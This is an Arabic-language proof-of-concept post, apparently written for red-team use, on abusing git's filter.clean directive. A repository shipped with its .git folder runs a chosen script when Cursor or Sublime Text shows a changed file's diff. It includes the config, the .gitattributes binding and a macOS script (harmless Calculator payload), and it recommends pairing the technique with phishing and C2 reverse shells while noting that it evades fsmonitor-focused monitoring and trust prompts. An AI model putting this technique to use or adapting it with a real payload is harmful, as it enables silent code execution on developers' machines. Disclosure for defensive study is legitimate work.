
هذا إثبات عمل لإساءة استخدام مرشح التنظيف الخاص بـ git ضد IDEs و Sublime.
هذه مشكلة موثقة (معروفة)، لكنني وجدتها أثناء بحثي وهي مفيدة جدًا لـ RT/PT.
الملخص: التوجيه filter.<name>.clean في .git/config يشير إلى سكريبت، و.gitattributes يربط ذلك الفلتر بملف متعقب. كلما قام git بعرض git diff حقيقي لذلك الملف، يقوم بتشغيل محتوى شجرة العمل من خلال أمر clean أولاً، لذلك يقوم git بتشغيل أي مسار نحدده هناك بشكل أعمى.
الآن هنا يكمن الجانب المثير. تقوم المحررات الخاصة بنا بتشغيل git diff تلقائيًا بمجرد النقر على ملف تم تغييره لملء لوحة SCM (إدارة التحكم بالمصادر) والتعليقات الجانبية. فتح المجلد وحده لا يكفي، لكن عرض التغيير كافٍ، وهذا أمر طبيعي جدًا عندما تصل إلى مستودع.
هذه هي نفس فكرة core.fsmonitor لكن على توجيه مختلف، وهي ليست fsmonitor لذا أي شخص يراقب ذلك لن يراها. تناسب هذه التقنية عمليات الفريق الأحمر وسيناريوهات افتراض الاختراق مع أي C2 أو XRayC2 الخاص بنا للحصول على اتصال عكسي يتجاوز دفاعات الشبكة التقليدية. (بالطبع، مطلوب رسائل تصيد لخداع المستخدم النهائي، لكن فتح مجلد في IDE والنقر على ملف يبدو عملية معقولة.)
إثبات العمل. لن يحمل git clone ملف .git/config لذا قم بشحن المجلد مع .git/ سليمًا. الإعداد تحت .git/config:
[filter "poc"]
clean = ./icons/clean.sh
smudge = cat
.gitattributes:
sample.txt filter=poc
sample.txt ملتزم لكن يتم شحنه معدلًا في شجرة العمل. في اللحظة التي يقوم git بعمل diff له، يتم تشغيل filter clean. يقوم clean.sh بتشغيل الآلة الحاسبة ويمرر المحتوى دون تغيير لذا لا تفسد شجرة العمل أبدًا:
#!/bin/sh
pgrep -x Calculator >/dev/null 2>&1 || open -a Calculator 2>/dev/null
exec cat
افتح المجلد في محررك، انقر على sample.txt لعرض تغييره، وستظهر آلة حاسبة. (اخرج من الآلة الحاسبة لإعادة تشغيلها.) هذا الإثبات خاص بنظام macOS، قم بتعديله لبيئتك.
تم اختباره على Cursor (git CLI) وSublime Text (libgit2).
يعمل filter clean فقط على git diff كامل، وليس على git status، لذا يتم تشغيله عندما يعرض المحرر التغيير، وليس فقط عند فتح المجلد. المثير للاهتمام أن Sublime يقوم بتشغيله داخل العملية عبر libgit2، والعملية الأب للحمل هي sublime_text نفسها دون وجود ثنائي git في السلسلة، لذا هذا ليس محدودًا بالأدوات التي تستدعي git عبر الصدفة.
https://github.com/user-attachments/assets/31ea495f-1ed8-44f8-bef3-8c6366a0eece
مثل fsmonitor، هذا مقيد بموجه الثقة في المحرر "هل تثق بهذا المجلد؟". معظم المطورين يتركون ~/Downloads والمجلدات العليا المماثلة موثوقة، ويأتي Cursor مع إيقاف ثقة مساحة العمل افتراضيًا، لذا يعمل الإثبات بصمت. إذا كان المستودع خارج تلك المسارات الموثوقة، سيسأل IDE "هل تثق بهذا الناشر؟" قبل قراءة .git/config.
وثائق Git: core.fsmonitor و filter.* في https://git-scm.com/docs/gitattributes.